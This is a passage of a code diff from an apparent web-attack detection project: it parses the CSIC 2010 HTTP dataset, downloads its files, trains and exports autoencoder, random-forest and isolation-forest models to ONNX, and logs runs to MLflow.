||||||
|
from app.core.features.extractor import extract_request_features
|
||||||
|
from app.core.features.mappings import WINDOWED_FEATURE_NAMES
|
||||||
|
from app.core.ingestion.parsers import ParsedLogEntry
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
_REQUEST_LINE_RE = re.compile(
|
||||||
|
r"^(GET|POST|PUT|DELETE|HEAD|OPTIONS|PATCH|TRACE)"
|
||||||
|
r"\s+(\S+)\s+(HTTP/\d\.\d)\s*$")
|
||||||
|
|
||||||
|
_DEFAULT_IP = "192.168.1.100"
|
||||||
|
|
||||||
|
_DEFAULT_UA = ("Mozilla/5.0 (compatible; Konqueror/3.5; Linux)"
|
||||||
|
" KHTML/3.5.8 (like Gecko)")
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class CSICRequest:
|
||||||
|
"""
|
||||||
|
Single HTTP request parsed from CSIC 2010 dataset format
|
||||||
|
"""
|
||||||
|
|
||||||
|
method: str
|
||||||
|
path: str
|
||||||
|
query_string: str
|
||||||
|
protocol: str
|
||||||
|
headers: dict[str, str]
|
||||||
|
body: str
|
||||||
|
label: int
|
||||||
|
|
||||||
|
|
||||||
|
def parse_csic_file(
|
||||||
|
path: Path,
|
||||||
|
label: int,
|
||||||
|
) -> list[CSICRequest]:
|
||||||
|
"""
|
||||||
|
Parse a CSIC 2010 dataset file into a list of CSICRequest objects
|
||||||
|
"""
|
||||||
|
text = path.read_text(encoding="utf-8", errors="replace")
|
||||||
|
lines = text.splitlines()
|
||||||
|
|
||||||
|
blocks: list[list[str]] = []
|
||||||
|
current: list[str] = []
|
||||||
|
|
||||||
|
for line in lines:
|
||||||
|
match = _REQUEST_LINE_RE.match(line)
|
||||||
|
if match and current:
|
||||||
|
blocks.append(current)
|
||||||
|
current = [line]
|
||||||
|
elif match:
|
||||||
|
current = [line]
|
||||||
|
elif current:
|
||||||
|
current.append(line)
|
||||||
|
|
||||||
|
if current:
|
||||||
|
blocks.append(current)
|
||||||
|
|
||||||
|
results: list[CSICRequest] = []
|
||||||
|
for block in blocks:
|
||||||
|
req = _parse_request_block(block, label)
|
||||||
|
if req is not None:
|
||||||
|
results.append(req)
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Parsed %d requests from %s (label=%d)",
|
||||||
|
len(results),
|
||||||
|
path.name,
|
||||||
|
label,
|
||||||
|
)
|
||||||
|
return results
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_request_block(
|
||||||
|
lines: list[str],
|
||||||
|
label: int,
|
||||||
|
) -> CSICRequest | None:
|
||||||
|
"""
|
||||||
|
Parse a single request block into a CSICRequest
|
||||||
|
"""
|
||||||
|
if not lines:
|
||||||
|
return None
|
||||||
|
|
||||||
|
match = _REQUEST_LINE_RE.match(lines[0])
|
||||||
|
if not match:
|
||||||
|
return None
|
||||||
|
|
||||||
|
method = match.group(1)
|
||||||
|
full_uri = match.group(2)
|
||||||
|
protocol = match.group(3)
|
||||||
|
|
||||||
|
if "?" in full_uri:
|
||||||
|
path, query_string = full_uri.split("?", 1)
|
||||||
|
else:
|
||||||
|
path = full_uri
|
||||||
|
query_string = ""
|
||||||
|
|
||||||
|
headers: dict[str, str] = {}
|
||||||
|
body_start = len(lines)
|
||||||
|
|
||||||
|
for i, line in enumerate(lines[1:], 1):
|
||||||
|
if not line.strip():
|
||||||
|
body_start = i + 1
|
||||||
|
break
|
||||||
|
if ": " in line:
|
||||||
|
key, value = line.split(": ", 1)
|
||||||
|
headers[key] = value
|
||||||
|
|
||||||
|
body_lines = [ln for ln in lines[body_start:] if ln.strip()]
|
||||||
|
body = "\n".join(body_lines)
|
||||||
|
|
||||||
|
return CSICRequest(
|
||||||
|
method=method,
|
||||||
|
path=path,
|
||||||
|
query_string=query_string,
|
||||||
|
protocol=protocol,
|
||||||
|
headers=headers,
|
||||||
|
body=body,
|
||||||
|
label=label,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def csic_to_parsed_entry(req: CSICRequest) -> ParsedLogEntry:
|
||||||
|
"""
|
||||||
|
Convert a CSICRequest to a ParsedLogEntry with synthesized defaults
|
||||||
|
for fields not present in the CSIC dataset
|
||||||
|
"""
|
||||||
|
ua = req.headers.get("User-Agent", _DEFAULT_UA)
|
||||||
|
|
||||||
|
query = req.query_string
|
||||||
|
if req.body:
|
||||||
|
query = (f"{query}&{req.body}" if query else req.body)
|
||||||
|
|
||||||
|
return ParsedLogEntry(
|
||||||
|
ip=_DEFAULT_IP,
|
||||||
|
timestamp=datetime.now(UTC),
|
||||||
|
method=req.method,
|
||||||
|
path=req.path,
|
||||||
|
query_string=query,
|
||||||
|
status_code=200,
|
||||||
|
response_size=0,
|
||||||
|
referer="",
|
||||||
|
user_agent=ua,
|
||||||
|
raw_line="",
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def load_csic_dataset(
|
||||||
|
normal_path: Path,
|
||||||
|
attack_path: Path,
|
||||||
|
) -> tuple[np.ndarray, np.ndarray]:
|
||||||
|
"""
|
||||||
|
Load CSIC 2010 normal and attack files, extract features,
|
||||||
|
and return (X, y) arrays ready for model training
|
||||||
|
"""
|
||||||
|
normal_reqs = parse_csic_file(normal_path, label=0)
|
||||||
|
attack_reqs = parse_csic_file(attack_path, label=1)
|
||||||
|
|
||||||
|
all_reqs = normal_reqs + attack_reqs
|
||||||
|
|
||||||
|
vectors: list[list[float]] = []
|
||||||
|
labels: list[int] = []
|
||||||
|
|
||||||
|
for req in all_reqs:
|
||||||
|
entry = csic_to_parsed_entry(req)
|
||||||
|
features = extract_request_features(entry)
|
||||||
|
|
||||||
|
for name in WINDOWED_FEATURE_NAMES:
|
||||||
|
features[name] = 0.0
|
||||||
|
|
||||||
|
vector = encode_for_inference(features)
|
||||||
|
vectors.append(vector)
|
||||||
|
labels.append(req.label)
|
||||||
|
|
||||||
|
X = np.array(vectors, dtype=np.float32)
|
||||||
|
y = np.array(labels, dtype=np.int32)
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Dataset loaded: X=%s, y=%s (normal=%d, attack=%d)",
|
||||||
|
X.shape,
|
||||||
|
y.shape,
|
||||||
|
np.sum(y == 0),
|
||||||
|
np.sum(y == 1),
|
||||||
|
)
|
||||||
|
|
||||||
|
return X, y
|
||||||
|
|
||||||
|
|
||||||
|
def load_csic_normal(
|
||||||
|
path: Path,
|
||||||
|
) -> tuple[np.ndarray, np.ndarray]:
|
||||||
|
"""
|
||||||
|
Load a CSIC 2010 normal traffic file and return (X, y) arrays
|
||||||
|
with all labels set to 0
|
||||||
|
"""
|
||||||
|
reqs = parse_csic_file(path, label=0)
|
||||||
|
|
||||||
|
vectors: list[list[float]] = []
|
||||||
|
for req in reqs:
|
||||||
|
entry = csic_to_parsed_entry(req)
|
||||||
|
features = extract_request_features(entry)
|
||||||
|
for name in WINDOWED_FEATURE_NAMES:
|
||||||
|
features[name] = 0.0
|
||||||
|
vectors.append(encode_for_inference(features))
|
||||||
|
|
||||||
|
X = np.array(vectors, dtype=np.float32)
|
||||||
|
y = np.zeros(len(vectors), dtype=np.int32)
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Loaded %d normal samples from %s",
|
||||||
|
len(vectors),
|
||||||
|
path.name,
|
||||||
|
)
|
||||||
|
|
||||||
|
return X, y
|
||||||
|
|
@ -0,0 +1,108 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
download_csic.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import httpx
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
DATASET_DIR = Path("data/datasets/csic2010")
|
||||||
|
|
||||||
|
BASE_URL = ("https://gitlab.fing.edu.uy"
|
||||||
|
"/gsi/web-application-attacks-datasets"
|
||||||
|
"/-/raw/master/csic_2010")
|
||||||
|
|
||||||
|
FILES = [
|
||||||
|
"normalTrafficTraining.txt",
|
||||||
|
"normalTrafficTest.txt",
|
||||||
|
"anomalousTrafficTest.txt",
|
||||||
|
]
|
||||||
|
|
||||||
|
MIN_FILE_BYTES = 1_000_000
|
||||||
|
|
||||||
|
|
||||||
|
def _compute_sha256(path: Path) -> str:
|
||||||
|
"""
|
||||||
|
Compute SHA-256 hash of a file
|
||||||
|
"""
|
||||||
|
h = hashlib.sha256()
|
||||||
|
with open(path, "rb") as f:
|
||||||
|
for chunk in iter(lambda: f.read(65536), b""):
|
||||||
|
h.update(chunk)
|
||||||
|
return h.hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
def download_csic(output_dir: Path = DATASET_DIR, ) -> None:
|
||||||
|
"""
|
||||||
|
Download CSIC 2010 dataset files
|
||||||
|
"""
|
||||||
|
output_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
for filename in FILES:
|
||||||
|
dest = output_dir / filename
|
||||||
|
|
||||||
|
if dest.exists() and dest.stat().st_size > MIN_FILE_BYTES:
|
||||||
|
logger.info("Skipping %s (already exists)", filename)
|
||||||
|
continue
|
||||||
|
|
||||||
|
url = f"{BASE_URL}/{filename}"
|
||||||
|
logger.info("Downloading %s", url)
|
||||||
|
print(f"Downloading {filename}...")
|
||||||
|
|
||||||
|
try:
|
||||||
|
with httpx.stream(
|
||||||
|
"GET",
|
||||||
|
url,
|
||||||
|
follow_redirects=True,
|
||||||
|
) as response:
|
||||||
|
response.raise_for_status()
|
||||||
|
total = int(
|
||||||
|
response.headers.get("content-length", 0)
|
||||||
|
)
|
||||||
|
downloaded = 0
|
||||||
|
with open(dest, "wb") as f:
|
||||||
|
for chunk in response.iter_bytes(
|
||||||
|
chunk_size=65536
|
||||||
|
):
|
||||||
|
f.write(chunk)
|
||||||
|
downloaded += len(chunk)
|
||||||
|
if total > 0:
|
||||||
|
pct = min(
|
||||||
|
downloaded * 100 / total, 100
|
||||||
|
)
|
||||||
|
sys.stdout.write(f"\r {pct:.0f}%")
|
||||||
|
else:
|
||||||
|
mb = downloaded / 1_048_576
|
||||||
|
sys.stdout.write(f"\r {mb:.1f} MB")
|
||||||
|
sys.stdout.flush()
|
||||||
|
print()
|
||||||
|
except Exception as exc:
|
||||||
|
logger.error(
|
||||||
|
"Failed to download %s: %s",
|
||||||
|
filename,
|
||||||
|
exc,
|
||||||
|
)
|
||||||
|
print(f"\nError downloading {filename}: {exc}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
size = dest.stat().st_size
|
||||||
|
sha = _compute_sha256(dest)
|
||||||
|
print(f" Saved: {dest}"
|
||||||
|
f" ({size:,} bytes, sha256={sha[:12]})")
|
||||||
|
|
||||||
|
if size < MIN_FILE_BYTES:
|
||||||
|
print(f" WARNING: {filename} is suspiciously"
|
||||||
|
f" small ({size:,} bytes)")
|
||||||
|
|
||||||
|
print(f"\nDataset directory: {output_dir.resolve()}")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
logging.basicConfig(level=logging.INFO)
|
||||||
|
download_csic()
|
||||||
|
|
@ -0,0 +1,104 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
experiment.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import platform
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
from types import TracebackType
|
||||||
|
|
||||||
|
import mlflow
|
||||||
|
|
||||||
|
|
||||||
|
class VigilExperiment:
|
||||||
|
"""
|
||||||
|
Context manager wrapping MLflow experiment runs
|
||||||
|
with automatic system metadata logging
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, experiment_name: str) -> None:
|
||||||
|
self._experiment_name = experiment_name
|
||||||
|
self._run: mlflow.ActiveRun | None = None
|
||||||
|
self._run_id: str | None = None
|
||||||
|
|
||||||
|
@property
|
||||||
|
def run_id(self) -> str | None:
|
||||||
|
"""
|
||||||
|
The MLflow run ID, set after entering context
|
||||||
|
"""
|
||||||
|
return self._run_id
|
||||||
|
|
||||||
|
def __enter__(self) -> VigilExperiment:
|
||||||
|
mlflow.set_experiment(self._experiment_name)
|
||||||
|
self._run = mlflow.start_run()
|
||||||
|
self._run_id = self._run.info.run_id
|
||||||
|
self._log_system_metadata()
|
||||||
|
return self
|
||||||
|
|
||||||
|
def __exit__(
|
||||||
|
self,
|
||||||
|
exc_type: type[BaseException] | None,
|
||||||
|
exc_val: BaseException | None,
|
||||||
|
exc_tb: TracebackType | None,
|
||||||
|
) -> None:
|
||||||
|
if exc_type is not None:
|
||||||
|
mlflow.set_tag("status", "failed")
|
||||||
|
mlflow.set_tag("error", str(exc_val)[:500])
|
||||||
|
else:
|
||||||
|
mlflow.set_tag("status", "completed")
|
||||||
|
mlflow.end_run()
|
||||||
|
self._run = None
|
||||||
|
|
||||||
|
def log_params(self, params: dict[str, object]) -> None:
|
||||||
|
"""
|
||||||
|
Log a dictionary of parameters to the active run
|
||||||
|
"""
|
||||||
|
mlflow.log_params(params)
|
||||||
|
|
||||||
|
def log_metrics(
|
||||||
|
self,
|
||||||
|
metrics: dict[str, float],
|
||||||
|
step: int | None = None,
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Log a dictionary of metrics to the active run
|
||||||
|
"""
|
||||||
|
mlflow.log_metrics(metrics, step=step)
|
||||||
|
|
||||||
|
def log_artifact(self, path: Path | str) -> None:
|
||||||
|
"""
|
||||||
|
Log a local file as an artifact
|
||||||
|
"""
|
||||||
|
mlflow.log_artifact(str(path))
|
||||||
|
|
||||||
|
def _log_system_metadata(self) -> None:
|
||||||
|
"""
|
||||||
|
Record Python version and git commit hash
|
||||||
|
"""
|
||||||
|
mlflow.set_tag("python_version", sys.version.split()[0])
|
||||||
|
mlflow.set_tag("platform", platform.system())
|
||||||
|
|
||||||
|
git_hash = _get_git_hash()
|
||||||
|
if git_hash is not None:
|
||||||
|
mlflow.set_tag("git_commit", git_hash)
|
||||||
|
|
||||||
|
|
||||||
|
def _get_git_hash() -> str | None:
|
||||||
|
"""
|
||||||
|
Return the short git commit hash or None
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
["git", "rev-parse", "--short", "HEAD"],
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=5,
|
||||||
|
check=False,
|
||||||
|
)
|
||||||
|
if result.returncode == 0:
|
||||||
|
return result.stdout.strip()
|
||||||
|
except FileNotFoundError:
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
@ -0,0 +1,90 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
export_onnx.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import torch
|
||||||
|
from skl2onnx import convert_sklearn
|
||||||
|
from skl2onnx.common.data_types import FloatTensorType
|
||||||
|
from sklearn.base import BaseEstimator
|
||||||
|
|
||||||
|
from ml.autoencoder import ThreatAutoencoder
|
||||||
|
|
||||||
|
ONNX_OPSET = 17
|
||||||
|
SKL_TARGET_OPSET = {"": 17, "ai.onnx.ml": 3}
|
||||||
|
|
||||||
|
|
||||||
|
def export_autoencoder(
|
||||||
|
model: ThreatAutoencoder,
|
||||||
|
path: Path | str,
|
||||||
|
opset: int = ONNX_OPSET,
|
||||||
|
) -> Path:
|
||||||
|
"""
|
||||||
|
Export a PyTorch autoencoder to ONNX with dynamic batch dimension
|
||||||
|
"""
|
||||||
|
path = Path(path)
|
||||||
|
path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
model.eval()
|
||||||
|
dummy = torch.randn(1, model.input_dim)
|
||||||
|
|
||||||
|
batch_dim = torch.export.Dim("batch_size", min=1)
|
||||||
|
|
||||||
|
torch.onnx.export(
|
||||||
|
model,
|
||||||
|
dummy, # type: ignore[arg-type]
|
||||||
|
str(path),
|
||||||
|
opset_version=opset,
|
||||||
|
export_params=True,
|
||||||
|
do_constant_folding=True,
|
||||||
|
input_names=["features"],
|
||||||
|
output_names=["reconstructed"],
|
||||||
|
dynamic_shapes={"x": {
|
||||||
|
0: batch_dim
|
||||||
|
}},
|
||||||
|
)
|
||||||
|
return path
|
||||||
|
|
||||||
|
|
||||||
|
def export_random_forest(
|
||||||
|
model: BaseEstimator,
|
||||||
|
n_features: int,
|
||||||
|
path: Path | str,
|
||||||
|
) -> Path:
|
||||||
|
"""
|
||||||
|
Export a sklearn random forest (or calibrated wrapper) to ONNX
|
||||||
|
"""
|
||||||
|
path = Path(path)
|
||||||
|
path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
initial_type = [("features", FloatTensorType([None, n_features]))]
|
||||||
|
onnx_model = convert_sklearn(
|
||||||
|
model,
|
||||||
|
initial_types=initial_type,
|
||||||
|
target_opset=SKL_TARGET_OPSET,
|
||||||
|
)
|
||||||
|
path.write_bytes(onnx_model.SerializeToString())
|
||||||
|
return path
|
||||||
|
|
||||||
|
|
||||||
|
def export_isolation_forest(
|
||||||
|
model: BaseEstimator,
|
||||||
|
n_features: int,
|
||||||
|
path: Path | str,
|
||||||
|
) -> Path:
|
||||||
|
"""
|
||||||
|
Export a sklearn isolation forest to ONNX
|
||||||
|
"""
|
||||||
|
path = Path(path)
|
||||||
|
path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
initial_type = [("features", FloatTensorType([None, n_features]))]
|
||||||
|
onnx_model = convert_sklearn(
|
||||||
|
model,
|
||||||
|
initial_types=initial_type,
|
||||||
|
target_opset=SKL_TARGET_OPSET,
|
||||||
|
)
|
||||||
|
path.write_bytes(onnx_model.SerializeToString())
|
||||||
|
return path
|
||||||
|
|
@ -0,0 +1,81 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
metadata.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
import logging
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from sqlalchemy import select
|
||||||
|
from sqlalchemy.ext.asyncio import AsyncSession
|
||||||
|
|
||||||
|
from app.models.model_metadata import ModelMetadata
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
MODEL_TYPES: dict[str, str] = {
|
||||||
|
"ae.onnx": "autoencoder",
|
||||||
|
"rf.onnx": "random_forest",
|
||||||
|
"if.onnx": "isolation_forest",
|
||||||
|
}
|
||||||
|
|
||||||
|
VERSION_HASH_LENGTH = 12
|
||||||
|
|
||||||
|
|
||||||
|
def compute_model_version(artifact_path: Path) -> str:
|
||||||
|
"""
|
||||||
|
Compute a 12-char hex version string from the SHA-256 hash of a file
|
||||||
|
"""
|
||||||
|
sha = hashlib.sha256(artifact_path.read_bytes())
|
||||||
|
return sha.hexdigest()[:VERSION_HASH_LENGTH]
|
||||||
|
|
||||||
|
|
||||||
|
async def save_model_metadata(
|
||||||
|
session: AsyncSession,
|
||||||
|
model_dir: Path,
|
||||||
|
training_samples: int,
|
||||||
|
metrics: dict[str, object],
|
||||||
|
mlflow_run_id: str | None = None,
|
||||||
|
threshold: float | None = None,
|
||||||
|
) -> list[ModelMetadata]:
|
||||||
|
"""
|
||||||
|
Persist metadata for all 3 model types, deactivating previous active versions
|
||||||
|
"""
|
||||||
|
rows: list[ModelMetadata] = []
|
||||||
|
|
||||||
|
for filename, model_type in MODEL_TYPES.items():
|
||||||
|
artifact_path = model_dir / filename
|
||||||
|
version = compute_model_version(artifact_path)
|
||||||
|
|
||||||
|
result = await session.execute(
|
||||||
|
select(ModelMetadata).where(
|
||||||
|
ModelMetadata.model_type == model_type, # type: ignore[arg-type]
|
||||||
|
ModelMetadata.is_active == True, # type: ignore[arg-type] # noqa: E712
|
||||||
|
))
|
||||||
|
for old in result.scalars().all():
|
||||||
|
old.is_active = False
|
||||||
|
await session.flush()
|
||||||
|
|
||||||
|
row = ModelMetadata(
|
||||||
|
model_type=model_type,
|
||||||
|
version=version,
|
||||||
|
training_samples=training_samples,
|
||||||
|
metrics=metrics,
|
||||||
|
artifact_path=str(artifact_path),
|
||||||
|
is_active=True,
|
||||||
|
mlflow_run_id=mlflow_run_id,
|
||||||
|
threshold=threshold,
|
||||||
|
)
|
||||||
|
session.add(row)
|
||||||
|
rows.append(row)
|
||||||
|
|
||||||
|
await session.commit()
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Saved metadata for %d models (samples=%d)",
|
||||||
|
len(rows),
|
||||||
|
training_samples,
|
||||||
|
)
|
||||||
|
|
||||||
|
return rows
|
||||||
|
|
@ -0,0 +1,240 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
orchestrator.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
from ml.experiment import VigilExperiment
|
||||||
|
from ml.export_onnx import (
|
||||||
|
export_autoencoder,
|
||||||
|
export_isolation_forest,
|
||||||
|
export_random_forest,
|
||||||
|
)
|
||||||
|
from ml.splitting import prepare_training_data
|
||||||
|
from ml.train_autoencoder import train_autoencoder
|
||||||
|
from ml.train_classifiers import (
|
||||||
|
train_isolation_forest,
|
||||||
|
train_random_forest,
|
||||||
|
)
|
||||||
|
from ml.validation import ValidationResult, validate_ensemble
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
N_FEATURES = 35
|
||||||
|
|
||||||
|
AE_FILENAME = "ae.onnx"
|
||||||
|
RF_FILENAME = "rf.onnx"
|
||||||
|
IF_FILENAME = "if.onnx"
|
||||||
|
SCALER_FILENAME = "scaler.json"
|
||||||
|
THRESHOLD_FILENAME = "threshold.json"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class TrainingResult:
|
||||||
|
"""
|
||||||
|
Aggregated results from a full training pipeline run
|
||||||
|
"""
|
||||||
|
|
||||||
|
ae_metrics: dict[str, float]
|
||||||
|
rf_metrics: dict[str, float]
|
||||||
|
if_metrics: dict[str, float]
|
||||||
|
ensemble_metrics: ValidationResult | None
|
||||||
|
passed_gates: bool
|
||||||
|
output_dir: Path
|
||||||
|
mlflow_run_id: str | None
|
||||||
|
|
||||||
|
|
||||||
|
class TrainingOrchestrator:
|
||||||
|
"""
|
||||||
|
End-to-end training pipeline that splits data, trains all 3 models,
|
||||||
|
exports to ONNX, validates the ensemble, and logs to MLflow
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
output_dir: Path,
|
||||||
|
experiment_name: str = "angelusvigil-training",
|
||||||
|
epochs: int = 100,
|
||||||
|
batch_size: int = 256,
|
||||||
|
) -> None:
|
||||||
|
self._output_dir = output_dir
|
||||||
|
self._experiment_name = experiment_name
|
||||||
|
self._epochs = epochs
|
||||||
|
self._batch_size = batch_size
|
||||||
|
|
||||||
|
def run(
|
||||||
|
self,
|
||||||
|
X: np.ndarray,
|
||||||
|
y: np.ndarray,
|
||||||
|
) -> TrainingResult:
|
||||||
|
"""
|
||||||
|
Execute the full training pipeline
|
||||||
|
"""
|
||||||
|
self._output_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
split = prepare_training_data(X, y)
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Split: train=%d val=%d test=%d normal_train=%d",
|
||||||
|
len(split.X_train),
|
||||||
|
len(split.X_val),
|
||||||
|
len(split.X_test),
|
||||||
|
len(split.X_normal_train),
|
||||||
|
)
|
||||||
|
|
||||||
|
with VigilExperiment(self._experiment_name) as experiment:
|
||||||
|
experiment.log_params({
|
||||||
|
"epochs": self._epochs,
|
||||||
|
"batch_size": self._batch_size,
|
||||||
|
"n_samples": len(X),
|
||||||
|
"n_attack": int(np.sum(y == 1)),
|
||||||
|
"n_normal": int(np.sum(y == 0)),
|
||||||
|
"n_features": X.shape[1],
|
||||||
|
})
|
||||||
|
|
||||||
|
ae_result = self._train_ae(split.X_normal_train)
|
||||||
|
ae_metrics = {
|
||||||
|
"ae_threshold": ae_result["threshold"],
|
||||||
|
"ae_final_train_loss": ae_result["history"]["train_loss"][-1],
|
||||||
|
"ae_final_val_loss": ae_result["history"]["val_loss"][-1],
|
||||||
|
}
|
||||||
|
|
||||||
|
rf_result = self._train_rf(split.X_train, split.y_train)
|
||||||
|
rf_metrics = rf_result["metrics"]
|
||||||
|
|
||||||
|
if_result = self._train_if(split.X_normal_train)
|
||||||
|
if_metrics = if_result["metrics"]
|
||||||
|
|
||||||
|
self._export_models(ae_result, rf_result, if_result)
|
||||||
|
|
||||||
|
experiment.log_metrics(ae_metrics)
|
||||||
|
experiment.log_metrics({
|
||||||
|
f"rf_{k}": v
|
||||||
|
for k, v in rf_metrics.items()
|
||||||
|
})
|
||||||
|
|
||||||
|
try:
|
||||||
|
ensemble = validate_ensemble(
|
||||||
|
self._output_dir,
|
||||||
|
split.X_test,
|
||||||
|
split.y_test,
|
||||||
|
)
|
||||||
|
experiment.log_metrics({
|
||||||
|
"ensemble_precision": ensemble.precision,
|
||||||
|
"ensemble_recall": ensemble.recall,
|
||||||
|
"ensemble_f1": ensemble.f1,
|
||||||
|
"ensemble_pr_auc": ensemble.pr_auc,
|
||||||
|
"ensemble_roc_auc": ensemble.roc_auc,
|
||||||
|
})
|
||||||
|
passed = ensemble.passed_gates
|
||||||
|
except Exception as exc:
|
||||||
|
logger.exception("Ensemble validation failed")
|
||||||
|
print(
|
||||||
|
f" WARNING: validation raised"
|
||||||
|
f" {type(exc).__name__}: {exc}",
|
||||||
|
file=sys.stderr,
|
||||||
|
)
|
||||||
|
ensemble = None
|
||||||
|
passed = False
|
||||||
|
|
||||||
|
for name in (
|
||||||
|
AE_FILENAME,
|
||||||
|
RF_FILENAME,
|
||||||
|
IF_FILENAME,
|
||||||
|
SCALER_FILENAME,
|
||||||
|
THRESHOLD_FILENAME,
|
||||||
|
):
|
||||||
|
experiment.log_artifact(self._output_dir / name)
|
||||||
|
|
||||||
|
run_id = experiment.run_id
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Training complete: passed_gates=%s run_id=%s",
|
||||||
|
passed,
|
||||||
|
run_id,
|
||||||
|
)
|
||||||
|
|
||||||
|
return TrainingResult(
|
||||||
|
ae_metrics=ae_metrics,
|
||||||
|
rf_metrics=rf_metrics,
|
||||||
|
if_metrics=if_metrics,
|
||||||
|
ensemble_metrics=ensemble,
|
||||||
|
passed_gates=passed,
|
||||||
|
output_dir=self._output_dir,
|
||||||
|
mlflow_run_id=run_id,
|
||||||
|
)
|
||||||
|
|
||||||
|
def _train_ae(self, X_normal: np.ndarray) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Train the autoencoder on normal-only data
|
||||||
|
"""
|
||||||
|
logger.info(
|
||||||
|
"Training autoencoder (%d epochs, %d samples)",
|
||||||
|
self._epochs,
|
||||||
|
len(X_normal),
|
||||||
|
)
|
||||||
|
return train_autoencoder(
|
||||||
|
X_normal,
|
||||||
|
epochs=self._epochs,
|
||||||
|
batch_size=self._batch_size,
|
||||||
|
)
|
||||||
|
|
||||||
|
def _train_rf(self, X: np.ndarray, y: np.ndarray) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Train the random forest classifier
|
||||||
|
"""
|
||||||
|
logger.info(
|
||||||
|
"Training random forest (%d samples)",
|
||||||
|
len(X),
|
||||||
|
)
|
||||||
|
return train_random_forest(X, y)
|
||||||
|
|
||||||
|
def _train_if(self, X_normal: np.ndarray) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Train the isolation forest on normal-only data
|
||||||
|
"""
|
||||||
|
logger.info(
|
||||||
|
"Training isolation forest (%d samples)",
|
||||||
|
len(X_normal),
|
||||||
|
)
|
||||||
|
return train_isolation_forest(X_normal)
|
||||||
|
|
||||||
|
def _export_models(
|
||||||
|
self,
|
||||||
|
ae_result: dict[str, Any],
|
||||||
|
rf_result: dict[str, Any],
|
||||||
|
if_result: dict[str, Any],
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Export all 3 models to ONNX and save scaler/threshold
|
||||||
|
"""
|
||||||
|
export_autoencoder(
|
||||||
|
ae_result["model"],
|
||||||
|
self._output_dir / AE_FILENAME,
|
||||||
|
)
|
||||||
|
ae_result["scaler"].save_json(self._output_dir / SCALER_FILENAME)
|
||||||
|
threshold_data = {"threshold": ae_result["threshold"]}
|
||||||
|
(self._output_dir / THRESHOLD_FILENAME).write_text(
|
||||||
|
json.dumps(threshold_data, indent=2))
|
||||||
|
|
||||||
|
export_random_forest(
|
||||||
|
rf_result["model"],
|
||||||
|
N_FEATURES,
|
||||||
|
self._output_dir / RF_FILENAME,
|
||||||
|
)
|
||||||
|
|
||||||
|
export_isolation_forest(
|
||||||
|
if_result["model"],
|
||||||
|
N_FEATURES,
|
||||||
|
self._output_dir / IF_FILENAME,
|
||||||
|
)
|
||||||
|
|
||||||
|
logger.info("Exported models to %s", self._output_dir)
|
||||||
|
|
@ -46,7 +46,7 @@ class FeatureScaler:
|
||||||
"""
|
"""
|
||||||
if not self._fitted or self._scaler is None:
|
if not self._fitted or self._scaler is None:
|
||||||
raise RuntimeError("Scaler has not been fitted")
|
raise RuntimeError("Scaler has not been fitted")
|
||||||
return self._scaler.transform(X).astype(np.float32)
|
return self._scaler.transform(X).astype(np.float32) # type: ignore[no-any-return]
|
||||||
|
|
||||||
def inverse_transform(self, X: np.ndarray) -> np.ndarray:
|
